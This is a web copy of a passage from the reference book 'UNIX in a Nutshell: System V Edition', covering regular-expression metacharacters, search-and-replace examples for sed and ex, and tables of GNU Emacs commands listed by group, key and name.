In ed, ex, and sed, note that you specify both a search pattern (on the left) and a replacement pattern (on the right). The metacharacters above are meaningful only in a search pattern.

In ed, ex, and sed, the following additional metacharacters are valid only in a replacement pattern:

Symbol | ex | sed | ed | Action
\ | · | · | · | Escape character following.
\n | · | · | · | Reuse pattern stored in \( \).
& | · | · |  | Reuse previous search pattern.
~ | · |  |  | Reuse previous replacement pattern.
\u \U | · |  |  | Change character(s) to uppercase.
\l \L | · |  |  | Change character(s) to lowercase.
\E | · |  |  | Turn off previous \U or \L.
\e | · |  |  | Turn off previous \u or \l.

Previous: 6.1 Filenames Versus Patterns | UNIX in a Nutshell: System V Edition | Next: 6.3 Metacharacters
6.1 Filenames Versus Patterns | Book Index | 6.3 Metacharacters
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.3 Metacharacters

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 6.2 Metacharacters, Listed by UNIX Program Chapter 6
Pattern Matching 		Next: 6.4 Examples of Searching

6.3 Metacharacters

The characters below have special meaning only in search patterns:

. | Match any single character except newline.
* | Match any number (or none) of the single character that immediately precedes it. The preceding character can also be a regular expression. E.g., since . (dot) means any character, .* means "match any number of any character."
^ | Match the following regular expression at the beginning of the line.
$ | Match the preceding regular expression at the end of the line.
[ ] | Match any one of the enclosed characters.
 | A hyphen (-) indicates a range of consecutive characters. A circumflex (^) as the first character in the brackets reverses the sense: it matches any one character not in the list. A hyphen or close bracket (]) as the first character is treated as a member of the list. All other metacharacters are treated as members of the list.
\{n,m\} | Match a range of occurrences of the single character that immediately precedes it. The preceding character can also be a regular expression. \{n\} matches exactly n occurrences, \{n \} matches at least n occurrences, and \{n,m\} matches any number of occurrences between n and m. n and m must be between 0 and 256, inclusive.
\ | Turn off the special meaning of the character that follows.
\( \) | Save the pattern enclosed between \( and \) into a special holding space. Up to nine patterns can be saved on a single line. They can be "replayed" in substitutions by the escape sequences \1 to \9.
\< \> | Match characters at beginning (\<) or end (\>) of a word.
+ | Match one or more instances of preceding regular expression.
? | Match zero or one instances of preceding regular expression.
| | Match the regular expression specified before or after.
( ) | Apply a match to the enclosed group of regular expressions.

The characters below have special meaning only in replacement patterns.

\ | Turn off the special meaning of the character that follows.
\n | Restore the nth pattern previously saved by \( and \). n is a number from 1 t 9, with 1 starting on the left.
& | Reuse the search pattern as part of the replacement pattern.
~ | Reuse the previous replacement pattern in the current replacement pattern.
\u | Convert first character of replacement pattern to uppercase.
\U | Convert replacement pattern to uppercase.
\l | Convert first character of replacement pattern to lowercase.
\L | Convert replacement pattern to lowercase.

Previous: 6.2 Metacharacters, Listed by UNIX Program | UNIX in a Nutshell: System V Edition | Next: 6.4 Examples of Searching
6.2 Metacharacters, Listed by UNIX Program | Book Index | 6.4 Examples of Searching
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 6] 6.4 Examples of Searching

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 6.3 Metacharacters Chapter 6
Pattern Matching 		Next: 7. The Emacs Editor

6.4 Examples of Searching

When used with grep or egrep, regular expressions are surrounded by quotes. (If the pattern contains a $, you must use single quotes; e.g., 'pattern'.) When used with ed, ex, sed, and awk, regular expressions are usually surrounded by / (although any delimiter works). Here are some example patterns:

Pattern | What does it match?
bag | The string bag.
^bag | bag at beginning of line.
bag$ | bag at end of line.
^bag$ | bag as the only word on line.
[Bb]ag | Bag or bag.
b[aeiou]g | Second letter is a vowel.
b[^aeiou]g | Second letter is a consonant (or uppercase or symbol).
b.g | Second letter is any character.
^...$ | Any line containing exactly three characters.
^\. | Any line that begins with a dot.
^\.[a-z][a-z] | Same, followed by two lowercase letters (e.g., troff requests).
^\.[a-z]\{2\} | Same as previous, grep or sed only.
^[^.] | Any line that doesn't begin with a dot.
bugs* | bug, bugs, bugss, etc.
"word" | A word in quotes.
"*word"* | A word, with or without quotes.
[A-Z][A-Z]* | One or more uppercase letters.
[A-Z]+ | Same, egrep or awk only.
[A-Z].* | An uppercase letter, followed by zero or more characters.
[A-Z]* | Zero or more uppercase letters.
[a-zA-Z] | Any letter.
[^0-9A-Za-z] | Any symbol (not a letter or a number).
egrep or awk pattern | What does it match?
[567] | One of the numbers 5, 6, or 7.
five|six|seven | One of the words five, six, or seven.
80[23]?86 | 8086, 80286, or 80386
compan(y|ies) | company or companies
ex or vi pattern | What does it match?
\<the | Words like theater or the.
the\> | Words like breathe or the.
\<the\> | The word the.
sed or grep pattern | What does it match?
0\{5,\} | Five or more zeros in a row.
[0-9]\{3\}-[0-9]\{2\}-[0-9]\{4\} | Social security number (nnn-nn-nnnn).

6.4.1 Examples of Searching and Replacing

The following examples show the metacharacters available to sed or ex. Note that ex commands begin with a colon. A space is marked by a [image]; a tab is marked by tab.

Command | Result
s/.*/( & )/ | Redo the entire line, but add parentheses.
s/.*/mv & &.old/ | Change a wordlist (one word per line) into mv commands.
/^$/d | Delete blank lines.
:g/^$/d | Same as previous, in ex editor.
/^[ [image] tab]*$/d | Delete blank lines, plus lines containing spaces or tabs.
:g/^[ [image] tab]*$/d | Same as previous, in ex editor.
s/ [image] [image] */ [image] /g | Turn one or more spaces into one space.
%s/ [image] [image] */ [image] /g | Same as previous, in ex editor.
:s/[0-9]/Item &:/ | Turn a number into an item label (on the current line).
:s | Repeat the substitution on the first occurrence.
:& | Same as previous.
:sg | Same, but for all occurrences on the line.
:&g | Same as previous.
:%&g | Repeat the substitution globally.
:.,$s/Fortran/\U&/g | Change word to uppercase, on current line to last line.
:%s/.*/\L&/ | Lowercase entire file.
:s/\<./\u&/g | Uppercase first letter of each word on current line. (Useful for titles.)
:%s/yes/No/g | Globally change a word to No.
:%s/Yes/~/g | Globally change a different word to No (previous replacement).

Finally, some sed examples for transposing words. A simple transposition of two words might look like this:

s/die or do/do or die/	Transpose words.

The real trick is to use hold buffers to transpose variable patterns. For example:

s/\([Dd]ie\) or \([Dd]o\)/\2 or \1/	Transpose, using hold buffers.

Previous: 6.3 Metacharacters | UNIX in a Nutshell: System V Edition | Next: 7. The Emacs Editor
6.3 Metacharacters | Book Index | 7. The Emacs Editor
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] The Emacs Editor

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 6.4 Examples of Searching Chapter 7 Next: 7.2 Summary of Commands by Group

7. The Emacs Editor

Contents:
Introduction
Summary of Commands by Group
Summary of Commands by Key
Summary of Commands by Name

This section presents the following topics:

  • Introduction

  • Summary of emacs commands by group

  • Summary of emacs commands by key

  • Summary of emacs commands by name

7.1 Introduction

Although emacs is not part of SVR4 or Solaris 2.0, this text editor is found on many UNIX systems because it is a popular alternative to vi. Many versions are available. This book documents GNU emacs, which is available from the Free Software Foundation in Cambridge, Mass. For more information about emacs, see the Nutshell Handbook Learning GNU Emacs.

To start an emacs editing session, type:

emacs [file]

On some systems, GNU emacs is invoked by typing "gmacs" instead of "emacs."

7.1.1 Notes on the Tables

Emacs commands use the Control key and the Meta key (Meta is usually the ESCAPE key). In this section, the notation C- indicates that the Control key is pressed at the same time as the character that follows. Similarly, M- indicates the use of the Meta key. It's not necessary, however, to keep the Meta key pressed down while typing the next key.

In the command tables that follow, the first column lists the keystroke and the last column describes it. When there is a middle column, it lists the command name. This name is accessed by typing M-x followed by the command name. If you're unsure of the name, you can type a space or a carriage return, and emacs will list possible completions of what you've typed so far.

Because emacs is such a comprehensive editor, containing hundreds of commands, some commands must be omitted for the sake of preserving a "quick" reference. You can browse the command set by typing C-h (for help) or M-x (for command names).

7.1.2 Absolutely Essential Commands

If you're just getting started with emacs, here's a short list of the most important commands to know:

C-h

Enter the online help system.

C-x C-s

Save the file.

C-x C-c

Exit emacs.

C-x u

Undo last edit (can be repeated).

C-g

Get out of current command operation.

C-p

Up/down/forward/back by line or character.

C-n

C-f

C-b

C-v

Forward/backward by one screen.

M-v

C-s

Search for characters.

C-d

Delete a character.

Previous: 6.4 Examples of Searching | UNIX in a Nutshell: System V Edition | Next: 7.2 Summary of Commands by Group
6.4 Examples of Searching | Book Index | 7.2 Summary of Commands by Group
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.2 Summary of Commands by Group

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 7.1 Introduction Chapter 7
The Emacs Editor 		Next: 7.3 Summary of Commands by Key

7.2 Summary of Commands by Group

Reminder: Tables list keystrokes, command name, and description. C- indicates the Control key; M- indicates the Meta key.

7.2.1 File-handling Commands

C-x C-f | find-file | Find file and read it.
C-x C-v | find-alternate-file | Read another file; replace the one read with C-x C-f.
C-x i | insert-file | Insert file at cursor position.
C-x C-s | save-buffer | Save file (may hang terminal; use C-q to restart).
C-x C-w | write-file | Write buffer contents to file.
C-x C-c | save-buffers-kill-emacs | Exit emacs.
C-z | suspend-emacs | Suspend emacs (use exit or fg to restart).

7.2.2 Cursor Movement Commands

C-f | forward-char | Move forward one character (right).
C-b | backward-char | Move backward one character (left).
C-p | previous-line | Move to previous line (up).
C-n | next-line | Move to next line (down).
M-f | forward-word | Move one word forward.
M-b | backward-word | Move one word backward.
C-a | beginning-of-line | Move to beginning of line.
C-e | end-of-line | Move to end of line.
M-a | backward-sentence | Move backward one sentence.
M-e | forward-sentence | Move forward one sentence.
M-[ | backward-paragraph | Move backward one paragraph.
M-] | forward-paragraph | Move forward one paragraph.
C-v | scroll-up | Move forward one screen.
M-v | scroll-down | Move backward one screen.
C-x [ | backward-page | Move backward one page.
C-x ] | forward-page | Move forward one page.
M-> | end-of-buffer | Move to end of file.
M-< | beginning-of-buffer | Move to beginning of file.
(none) | goto-line | Go to line n of file.
(none) | goto-char | Go to character n of file.
C-l | recenter | Redraw screen with current line in the center.
M-n | digit-argument | Repeat the next command n times.
C-u n | universal-argument | Repeat the next command n times.

7.2.3 Deletion Commands

DEL | backward-delete-char | Delete previous character.
C-d | delete-char | Delete character under cursor.
M-DEL | backward-kill-word | Delete previous word.
M-d | kill-word | Delete the word the cursor is on.
C-k | kill-line | Delete from cursor to end of line.
M-k | kill-sentence | Delete sentence the cursor is on.
C-x DEL | backward-kill-sentence | Delete previous sentence.
C-y | yank | Restore what you've deleted.
C-w | kill-region | Delete a marked region (see next section).
(none) | backward-kill-paragraph | Delete previous paragraph.
(none) | kill-paragraph | Delete from the cursor to the end of the paragraph.

7.2.4 Paragraphs and Regions

C-@ | set-mark-command | Mark the beginning (or end) of a region.
C-SPACE | (same as above) |
C-x C-p | mark-page | Mark page.
C-x C-x | exchange-point-and-mark | Exchange location of cursor and mark.
C-x h | mark-whole-buffer | Mark buffer.
M-q | fill-paragraph | Reformat paragraph.
M-q | fill-region | Reformat individual paragraphs within a region.
M-h | mark-paragraph | Mark paragraph.

7.2.5 Stopping and Undoing Commands

C- | keyboard-quit | Abort current command.
C-x u | advertised-undo | Undo last edit (can be done repeatedly).
(none) | revert-buffer | Restore buffer to the state it was in when the file was last saved (or auto-saved).

7.2.6 Transposition Commands

C-t | transpose-chars | Transpose two letters.
M-t | transpose-words | Transpose two words.
C-x C-t | transpose-lines | Transpose two lines.
(none) | transpose-sentences | Transpose two sentences.
(none) | transpose-paragraphs | Transpose two paragraphs.

7.2.7 Capitalization Commands

M-c | capitalize-word | Capitalize first letter of word.
M-u | upcase-word | Uppercase word.
M-l | downcase-word | Lowercase word.
M- - M-c | negative-argument; capitalize-word | Capitalize previous word.
M- - M-u | negative-argument; upcase-word | Uppercase previous word.
M- - M-l | negative-argument; downcase-word | Lowercase previous word.
(none) | capitalize-region | Capitalize region.
C-x C-u | upcase-region | Uppercase region
C-x C-l | downcase-region | Lowercase region.

7.2.8 Incremental Search Commands

C-s | isearch-forward | Start incremental search forward.
C-r | isearch-backward | Start incremental search backward.
Meta | (none) | Exit a successful search.
C-g | keyboard-quit | Cancel incremental search; return to starting point.
DEL | (none) | Delete incorrect character of search string.

7.2.9 Word Abbreviation Commands

(none) | abbrev-mode | Enter (or exit) word abbreviation mode.
C-x - | inverse-add-lobal-abbrev | Type global abbreviation, then definition.
C-x C-h | inverse-add-local-abbrev | Type local abbreviation, then definition.
(none) | unexpand-abbrev | Undo the last word abbreviation.
(none) | write-abbrev-file | Write the word abbreviation file.
(none) | edit-abbrevs | Edit the word abbreviations.
(none) | list-abbrevs | View the word abbreviations.
(none) | kill-all-abbrevs | Kill abbreviations for this session.

7.2.10 Buffer Manipulation Commands

C-x b | switch-to-buffer | Move to specified buffer.
C-x C-b | list-buffers | Display buffer list.
C-x k | kill-buffer | Delete specified buffer.
(none) | kill-some-buffers | Ask about deleting each buffer.
(none) | rename-buffer | Change buffer name to specified name.
C-x s | save-some-buffers | Ask whether to save each modified buffer.

7.2.11 Window Commands

C-x 2 | split-window-horizontally | Divide the current window horizontally into two.
C-x 5 | split-window-vertically | Divide the current window vertically into two.
C-x > | scroll-right | Scroll the window right.
C-x < | scroll-left | Scroll the window left.
C-x o | other-window | Move to the other window.
C-x 0 | delete-window | Delete current window.
C-x 1 | delete-other-windows | Delete all windows but this one.
(none) | delete-windows-on | Delete all windows on a given buffer.
C-x ^ | enlarge-window | Make window taller.
(none) | shrink-window | Make window shorter.
C-x } | enlarge-window-horizontally | Make window wider.
C-x { | shrink-window-horizontally | Make window narrower.
M-C-v | scroll-other-window | Scroll other window.
C-x 4 f | find-file-other-window | Find a file in the other window.
C-x 4 b | switch-to-buffer-other-window | Select a buffer in the other window.
(none) | compare-windows | Compare two buffers; show first difference.

7.2.12 Special Shell Characters

C-c C-c | interrupt-shell-subjob | Terminate the current job.
C-c C-d | shell-send-eof | End of file character.
C-c C-u | kill-shell-input | Erase current line.
C-c C-w | backward-kill-word | Erase the previous word.
C-c C-z | stop-shell-subjob | Suspend the current job.

7.2.13 Indentation Commands

C-x . | set-fill-prefix | Prepend each line in paragraph with characters from beginning of line up to cursor column; cancel prefix by typing this command in column 1.
(none) | indented-text-mode | Major mode: each tab defines a new indent for subsequent lines.
(none) | text-mode | Exit indented text mode; return to text mode.
M-C-\ | indent-region | Indent a region to match first line in region.
M-m | back-to-indentation | Move cursor to first character on line.
M-C-o | split-line | Split line at cursor; indent to column of cursor.
(none) | fill-individual- paragraphs | Reformat indented paragraphs, keeping indentation.

7.2.14 Centering Commands

M-s | center-line | Center line that cursor is on.
(none) | center-paragraph | Center paragraph that cursor is on.
(none) | center-region | Center currently defined region.

7.2.15 Macro Commands

C-x ( | start-kbd-macro | Start macro definition.
C-x ) | end-kbd-macro | End macro definition.
C-x e | call-last-kbd-macro | Execute last macro defined.
M-n C-x e | digit-argument and call-last-kbd-macro | Execute last macro defined, n times.
C-u C-x ( | start-kbd-macro | Execute last macro defined, then add keystrokes.
(none) | name-last-kbd-macro | Name last macro you created (before saving it).
(none) | insert-last-keyboard-macro | Insert the macro you named into a file.
(none) | load-file | Load macro files you've saved.
(none) | macroname | Execute a keyboard macro you've saved.
C-x q | kbd-macro-query | Insert a query in a macro definition.
C-u C-x q | (none) | Insert a recursive edit in a macro definition.
M-C-c | exit-recursive-edit | Exit a recursive edit.

7.2.16 Basic Indentation Commands

M-C-\ | indent-region | Indent a region to match first line in region.
M-m | back-to-indentation | Move to first non-blank character on line.
M-^ | delete-indentation | Join this line to the previous one.

7.2.17 Detail Information Help Commands

C-h a | command-apropos | What commands involve this concept?
(none) | apropos | What functions and variables involve this concept?
C-h c | describe-key-briefly | What command does this keystroke sequence run?
C-h b | describe-bindings | What are all the key bindings for this buffer?
C-h k | describe-key | What command does this keystroke sequence run, and what does it do?
C-h l | view-lossage | What are the last 100 characters I typed?
C-h w | where-is | What is the key binding for this command?
C-h f | describe-function | What does this function do?
C-h v | describe-variable | What does this variable mean, and what is its value?
C-h m | describe-mode | Tell me about the mode the current buffer is in.
C-h s | describe-syntax | What is the syntax table for this buffer?

7.2.18 Help Commands

C-h t | help-with-tutorial | Run the emacs tutorial.
C-h i | info | Start the info documentation reader.
C-h n | view-emacs-news | View news about updates to emacs.
C-h C-c | describe-copying | View the emacs General Public License.
C-h C-d | describe-distribution | View information on ordering emacs from FSF.
C-h C-w | describe-no-warranty | View the (non-)warranty for emacs.

Previous: 7.1 Introduction | UNIX in a Nutshell: System V Edition | Next: 7.3 Summary of Commands by Key
7.1 Introduction | Book Index | 7.3 Summary of Commands by Key
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.3 Summary of Commands by Key

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 7.2 Summary of Commands by Group Chapter 7
The Emacs Editor 		Next: 7.4 Summary of Commands by Name

7.3 Summary of Commands by Key

Emacs commands are presented below in two alphabetical lists. Reminder: Tables list keystrokes, command name, and description. C- indicates the Control key; M- indicates the Meta key.

7.3.1 Control-key Sequences

C-@ | set-mark-command | Mark the beginning (or end) of a region.
C-SPACE | (same as previous) |
C-] | (none) | Exit recursive edit and exit query-replace.
C-a | beginning-of-line | Move to beginning of line.
C-b | backward-char | Move backward one character (left).
C-c C-c | interrupt-shell-subjob | Terminate the current job.
C-c C-d | shell-send-eof | End of file character.
C-c C-u | kill-shell-input | Erase current line.
C-c C-w | backward-kill-word | Erase the previous word.
C-c C-z | stop-shell-subjob | Suspend the current job.
C-d | delete-char | Delete character under cursor.
C-e | end-of-line | Move to end of line.
C-f | forward-char | Move forward one character (right).
C- | keyboard-quit | Abort current command.
C-h | help-command | Enter the online help system.
C-h a | command-apropos | What commands involve this concept?
C-h b | describe-bindings | What are all the key bindings for this buffer?
C-h C-c | describe-copying | View the emacs General Public License.
C-h C-d | describe-distribution | View information on ordering emacs from FSF.
C-h C-w | describe-no-warranty | View the (non-)warranty for emacs.
C-h c | describe-key-briefly | What command does this keystroke sequence run?
C-h f | describe-function | What does this function do?
C-h i | info | Start the info documentation reader.
C-h k | describe-key | What command does this keystroke sequence run, and what does it do?
C-h l | view-lossage | What are the last 100 characters I typed?
C-h m | describe-mode | Tell me about the mode the current buffer is in.
C-h n | view-emacs-news | View news about updates to emacs.
C-h s | describe-syntax | What is the syntax table for this buffer?
C-h t | help-with-tutorial | Run the emacs tutorial.
C-h v | describe-variable | What does this variable mean, and what is its value?
C-h w | where-is | What is the key binding for this command?
C-k | kill-line | Delete from cursor to end of line.
C-l | recenter | Redraw screen with current line in the center.
C-n | next-line | Move to next line (down).
C-p | previous-line | Move to previous line (up).
C-r Meta | (none) | Start nonincremental search backwards.
C-r | (none) | Repeat nonincremental search backward.
C-r | (none) | Enter recursive edit (during query replace).
C-r | isearch-backward | Start incremental search backward.
C-s Meta | (none) | Start nonincremental search forward.
C-s | (none) | Repeat nonincremental search forward.
C-s | isearch-forward | Start incremental search forward.
C-t | transpose-chars | Transpose two letters.
C-u n | universal-argument | Repeat the next command n times.
C-u C-x ( | start-kbd-macro | Execute last macro defined, then add keystrokes.
C-u C-x q | (none) | Insert recursive edit in a macro definition.
C-v | scroll-up | Move forward one screen.
C-w | kill-region | Delete a marked region.
C-x ( | start-kbd-macro | Start macro definition.
C-x ) | end-kbd-macro | End macro definition.
C-x [ | backward-page | Move backward one page.
C-x ] | forward-page | Move forward one page.
C-x ^ | enlarge-window | Make window taller.
C-x { | shrink-window- horizontally | Make window narrower.
C-x } | enlarge-window-horizontally | Make window wider.
C-x < | scroll-left | Scroll the window left.
C-x > | scroll-right | Scroll the window right.
C-x - | inverse-add-lobal-abbrev | Type global abbreviation, then definition.
C-x . | set-fill-prefix | Prepend each line in paragraph with characters from beginning of line up to cursor column; cancel prefix by typing this command in column 1.
C-x 0 | delete-window | Delete current window.
C-x 1 | delete-other-windows | Delete all windows but this one.
C-x 2 | split-window-horizontally | Divide current window horizontally into two.
C-x 4 b | switch-to-buffer-other-window | Select a buffer in the other window.
C-x 4 f | find-file-other-window | Find a file in the other window.
C-x 5 | split-window-vertically | Divide current window vertically into two.
C-x b | switch-to-buffer | Move to the buffer specified.
C-x C-b | list-buffers | Display the buffer list.
C-x C-c | save-buffers-kill-emacs | Exit emacs.
C-x C-f | find-file | Find file and read it.
C-x C-h | inverse-add-local-abbrev | Type local abbreviation, then definition.
C-x C-l | downcase-region | Lowercase region.
C-x C-p | mark-page | Mark page.
C-x C-q | (none) | Toggle read-only status of buffer.
C-x C-s | save-buffer | Save file (may hang terminal; use C-q to restart).
C-x C-t | transpose-lines | Transpose two lines.
C-x C-u | upcase-region | Uppercase region
C-x C-v | find-alternate-file | Read an alternate file, replacing the one read with C-x C-f.
C-x C-w | write-file | Write buffer contents to file.
C-x C-x | exchange-point-and-mark | Exchange location of cursor and mark.
C-x DEL | backward-kill-sentence | Delete previous sentence.
C-x e | call-last-kbd-macro | Execute last macro defined.
C-x h | mark-whole-buffer | Mark buffer.
C-x i | insert-file | Insert file at cursor position.
C-x k | kill-buffer | Delete the buffer specified.
C-x o | other-window | Move to the other window.
C-x q | kbd-macro-query | Inserts a query in a macro definition.
C-x s | save-some-buffers | Ask whether to save each modified buffer.
C-x u | advertised-undo | Undo last edit (can be done repeatedly).
C-y | yank | Restore what you've deleted.
C-z | suspend-emacs | Suspend emacs (use exit or fg to restart).

7.3.2 Meta-key Sequences

Meta | (none) | Exit a query-replace or successful search.
M- - M-c | negative-argument; capitalize-word | Capitalize previous word.
M- - M-l | negative-argument; downcase-word | Lowercase previous word.
M- - M-u | negative-argument; upcase-word | Uppercase previous word.
M-$ | spell-word | Check spelling of word after cursor.
M-< | beginning-of-buffer | Move to beginning of file.
M-> | end-of-buffer | Move to end of file.
M-[ | backward-paragraph | Move backward one paragraph.
M-] | forward-paragraph | Move forward one paragraph.
M-^ | delete-indentation | Join this line to the previous one.
M-n | digit-argument | Repeat the next command n times.
M-n C-x e | digit-argument and call-last-kbd-macro | Execute the last defined macro, n times.
M-a | backward-sentence | Move backward one sentence.
M-b | backward-word | Move one word backward.
M-C-\ | indent-region | Indent a region to match first line in region.
M-C-c | exit-recursive-edit | Exit a recursive edit.
M-C-o | split-line | Split line at cursor; indent to column of cursor.
M-C-v | scroll-other-window | Scroll other window.
M-c | capitalize-word | Capitalize first letter of word.
M-d | kill-word | Delete word that cursor is on.
M-DEL | backward-kill-word | Delete previous word.
M-e | forward-sentence | Move forward one sentence.
M-f | forward-word | Move one word forward.
M- | fill-region | Reformat individual paragraphs within a region.
M-h | mark-paragraph | Mark paragraph.
M-k | kill-sentence | Delete sentence the cursor is on.
M-l | downcase-word | Lowercase word.
M-m | back-to-indentation | Move cursor to first non-blank character on line.
M-q | fill-paragraph | Reformat paragraph.
M-s | center-line | Center line that cursor is on.
M-t | transpose-words | Transpose two words.
M-u | upcase-word | Uppercase word.
M-v | scroll-down | Move backward one screen.
M-x | (none) | Access text name of command keystrokes.

Previous: 7.2 Summary of Commands by Group | UNIX in a Nutshell: System V Edition | Next: 7.4 Summary of Commands by Name
7.2 Summary of Commands by Group | Book Index | 7.4 Summary of Commands by Name
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.4 Summary of Commands by Name

UNIX in a Nutshell: System V Edition

UNIX in a Nutshell: System V EditionSearch this book
Previous: 7.3 Summary of Commands by Key Chapter 7
The Emacs Editor 		Next: 8. The Vi Editor

7.4 Summary of Commands by Name

The emacs commands below are presented alphabetically by command name. Use M-x to access the command name. Reminder: Tables list command name, keystroke, and description. C- indicates the Control key; M- indicates the Meta key.

macroname | (none) | Execute a keyboard macro you've saved.
abbrev-mode | (none) | Enter (or exit) word abbreviation mode.
advertised-undo | C-x u | Undo last edit (can be done repeatedly).
apropos | (none) | What functions and variables involve this concept?
back-to-indentation | M-m | Move cursor to first non-blank character on line.
backward-char | C-b | Move backward one character (left).
backward-delete-char | DEL | Delete previous character.
backward-kill-paragraph | (none) | Delete previous paragraph.
backward-kill-sentence | C-x DEL | Delete previous sentence.
backward-kill-word | C-c C-w | Erase previous word.
backward-kill-word | M-DEL | Delete previous word.
backward-page | C-x [ | Move backward one page.
backward-paragraph | M-[ | Move backward one paragraph.
backward-sentence | M-a | Move backward one sentence.
backward-word | M-b | Move backward one word.
beginning-of-buffer | M-< | Move to beginning of file.
beginning-of-line | C-a | Move to beginning of line.
call-last-kbd-macro | C-x e | Execute last macro defined.
capitalize-region | (none) | Capitalize region.
capitalize-word | M-c | Capitalize first letter of word.
center-line | M-s | Center line that cursor is on.
center-paragraph | (none) | Center paragraph that cursor is on.
center-region | (none) | Center currently defined region.
command-apropos | C-h a | What commands involve this concept?
compare-windows | (none) | Compare two buffers; show first difference.
delete-char | C-d | Delete character under cursor.
delete-indentation | M-^ | Join this line to previous one.
delete-other-windows | C-x 1 | Delete all windows but this one.
delete-window | C-x 0 | Delete current window.
delete-windows-on | (none) | Delete all windows on a given buffer.
describe-bindings | C-h b | What are all the key bindings for in this buffer?
describe-copying | C-h C-c | View the emacs General Public License.
describe-distribution | C-h C-d | View information on ordering emacs from FSF.
describe-function | C-h f | What does this function do?
describe-key | C-h k | What command does this keystroke sequence run, and what does it do?
describe-key-briefly | C-h c | What command does this keystroke sequence run?
describe-mode | C-h m | Tell me about the mode the current buffer is in.
describe-no-warranty | C-h C-w | View the (non-)warranty for emacs.
describe-syntax | C-h s | What is the syntax table for this buffer?
describe-variable | C-h v | What does this variable mean, and what is its value?
digit-argument and call-last-kbd-macro | M-n C-x e | Execute the last defined macro, n times.
digit-argument | M-n | Repeat next command, n times.
downcase-region | C-x C-l | Lowercase region.
downcase-word | M-l | Lowercase word.
edit-abbrevs | (none) | Edit word abbreviations.
end-kbd-macro | C-x ) | End macro definition.
end-of-buffer | M-> | Move to end of file.
end-of-line | C-e | Move to end of line.
enlarge-window | C-x ^ | Make window taller.
enlarge-window-horizontally | C-x } | Make window wider.
exchange-point-and-mark | C-x C-x | Exchange location of cursor and mark.
exit-recursive-edit | M-C-c | Exit a recursive edit.
fill-individual-paragraphs | (none) | Reformat indented paragraphs, keeping indentation.
fill-paragraph | M-q | Reformat paragraph.
fill-region | M- | Reformat individual paragraphs within a region.
find-alternate-file | C-x C-v | Read an alternate file, replacing the one read with C-x C-f.
find-file | C-x C-f | Find file and read it.
find-file-other-window | C-x 4 f | Find a file in the other window.
forward-char | C-f | Move forward one character (right).
forward-page | C-x ] | Move forward one page.
forward-paragraph | M-] | Move forward one paragraph.
forward-sentence | M-e | Move forward one sentence.
forward-word | M-f | Move forward one word.
goto-char | (none) | Go to character n of file.
goto-line | (none) | Go to line n of file.
help-command | C-h | Enter the online help system.
help-with-tutorial | C-h t | Run the emacs tutorial.
indent-region | M-C-\ | Indent a region to match first line in region.
indented-text-mode | (none) | Major mode: each tab defines a new indent for subsequent lines.
info | C-h i | Start the info documentation reader.
insert-file | C-x i | Insert file at cursor position.
insert-last-keyboard-macro | (none) | Insert the macro you named into a file.
interrupt-shell-subjob | C-c C-c | Terminate the current job.
inverse-add-lobal-abbrev | C-x - | Type global abbreviation, then definition.
inverse-add-local-abbrev | C-x C-h | Type local abbreviation, then definition.
isearch-backward | C-r | Start incremental search backward.
isearch-backward-regexp | C-r | Same, but search for regular expression.
isearch-forward | C-s | Start incremental search forward.
isearch-forward-regexp | C-r | Same, but search for regular expression.
kbd-macro-query | C-x q | Insert a query in a macro definition.
keyboard-quit | C- | Abort current command.
kill-all-abbrevs | (none) | Kill abbreviations for this session.
kill-buffer | C-x k | Delete the buffer specified.
kill-line | C-k | Delete from cursor to end of line.
kill-paragraph | (none) | Delete from cursor to end of paragraph.
kill-region | C-w | Delete a marked region.
kill-sentence | M-k | Delete sentence the cursor is on.
kill-shell-input | C-c C-u | Erase current line.
kill-some-buffers | (none) | Ask about deleting each buffer.
kill-word | M-d | Delete word the cursor is on.
list-abbrevs | (none) | View word abbreviations.
list-buffers | C-x C-b | Display buffer list.
load-file | (none) | Load macro files you've saved.
mark-page | C-x C-p | Mark page.
mark-paragraph | M-h | Mark paragraph.
mark-whole-buffer | C-x h | Mark buffer.
name-last-kbd-macro | (none) | Name last macro you created (before saving it).
negative-argument; capitalize-word | M- - M-c | Capitalize previous word.
negative-argument; downcase-word | M- - M-l | Lowercase previous word.
negative-argument; upcase-word | M- - M-u | Uppercase previous word.
next-line | C-n | Move to next line (down).
other-window | C-x o | Move to the other window.
previous-line | C-p | Move to previous line (up).
query-replace-regexp | (none) | Query-replace a regular expression.
recenter | C-l | Redraw screen, with current line in center.
rename-buffer | (none) | Change buffer name to specified name.
replace-regexp | (none) | Replace a regular expression unconditionally.
re-search-backward | (none) | Simple regular expression search backward.
re-search-forward | (none) | Simple regular expression search forward.
revert-buffer | (none) | Restore buffer to the state it was in when the file was last saved (or auto-saved).
save-buffer | C-x C-s | Save file (may hang terminal; use C-q to restart).
save-buffers-kill-emacs | C-x C-c | Exit emacs.
save-some-buffers | C-x s | Ask whether to save each modified buffer.
scroll-down | M-v | Move backward one screen.
scroll-left | C-x < | Scroll the window left.
scroll-other-window | M-C-v | Scroll other window.
scroll-right | C-x > | Scroll the window right.
scroll-up | C-v | Move forward one screen.
